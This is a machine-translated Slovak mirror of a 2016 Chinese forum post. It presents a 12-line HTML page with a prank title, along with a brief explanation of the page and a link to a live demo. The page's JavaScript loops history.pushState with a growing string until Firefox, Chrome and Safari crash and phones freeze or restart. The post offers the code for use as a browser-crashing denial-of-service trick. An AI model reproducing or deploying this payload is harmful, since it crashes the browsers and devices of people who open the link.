Tento článok je zrkadlovým článkom o strojovom preklade, kliknite sem pre prechod na pôvodný článok.

Pohľad: 13238|Odpoveď: 0

[HTML/HTML5] 12 riadkov HTML kódu spôsobí, že vám počítač spadne a telefón sa reštartuje za pár minút

[Kopírovať odkaz]
Zverejnené 22. 1. 2016 11:36:39 | | | |
Príčinou incidentu je toto, že zahraničný priateľ z Cyber Security zverejnil na Twitteri takýto tweet:



Tento chlapík tvrdí, že ak použijete vyššie uvedený 12-riadkový Javascrip{filter}t kód, môžete zrútiť Firefox, Chrome, Safari prehliadače a tiež spôsobiť reštart vášho iPhonu a pád Android telefónu!

Celý HTML kód je nasledovný:

  1. <html>
  2. <head>
  3. <meta charset="utf-8">
  4. <title>谁点谁怀孕</title>
  5. </head>
  6.     <body>
  7. 恭喜你,你已经怀孕了!
  8. <scrip{过滤}t>
  9. var total="";
  10. for (var i=0;i<1000000;i++)
  11. {
  12.         total= total+i.toString();
  13.         history.pushState(0,0,total);
  14. }
  15. </scrip{过滤}t>
  16.     </body>
  17. </html>
Kopírovať kód


Ak ste používateľ PC, po kliknutí na odkaz je veľmi pravdepodobné, že pamäť CPU počítača prudko stúpne, až kým prehliadač nespadne a nezamrzne...

Ak ste používateľ mobilu (Android, iPhone), váš prehliadač spadne po kliknutí na odkaz! Kliknutie na odkaz na Weibo a WeChat tiež spadne.


Prečo sa to deje? V tomto ohľade som našiel odpoveď od boha menom "Xiaomi" na Zhihu:

history.pushstate() je API zavedené HTML5, pushState pridáva špecifikovanú URL do histórie prehliadača a ukladá aktuálny bod histórie. Keď i<100000, celkový počet sa zaznamenáva v histórii prehliadača cyklickým spôsobom a ak sa opakuje príliš často, prehliadač to nezvládne a prirodzene spadne.

No, každopádne, ani neviem vymyslieť "hello world", takže tomu vôbec nerozumiem... Stručne povedané, je to akurát na to, aby ste vyhodili oblohu do vzduchu!


Ak to chcete vyskúšať, kliknite sem:   http://www.itsvse.com/demo.html




Predchádzajúci:[Open Source] Wooyun Vulnerability Query Platform Zdrojový kód plus databáza asp.net verzia
Budúci:Linux config/configure/Configure, make, make test/make check, sudo make in...
Vyhlásenie:
Všetok softvér, programovacie materiály alebo články publikované spoločnosťou Code Farmer Network slúžia len na vzdelávacie a výskumné účely; Vyššie uvedený obsah nesmie byť použitý na komerčné alebo nezákonné účely, inak nesú všetky následky používateľmi. Informácie na tejto stránke pochádzajú z internetu a spory o autorské práva s touto stránkou nesúvisia. Musíte úplne vymazať vyššie uvedený obsah zo svojho počítača do 24 hodín od stiahnutia. Ak sa vám program páči, podporte originálny softvér, zakúpte si registráciu a získajte lepšie originálne služby. Ak dôjde k akémukoľvek porušeniu, kontaktujte nás prosím e-mailom.

Mail To:help@itsvse.com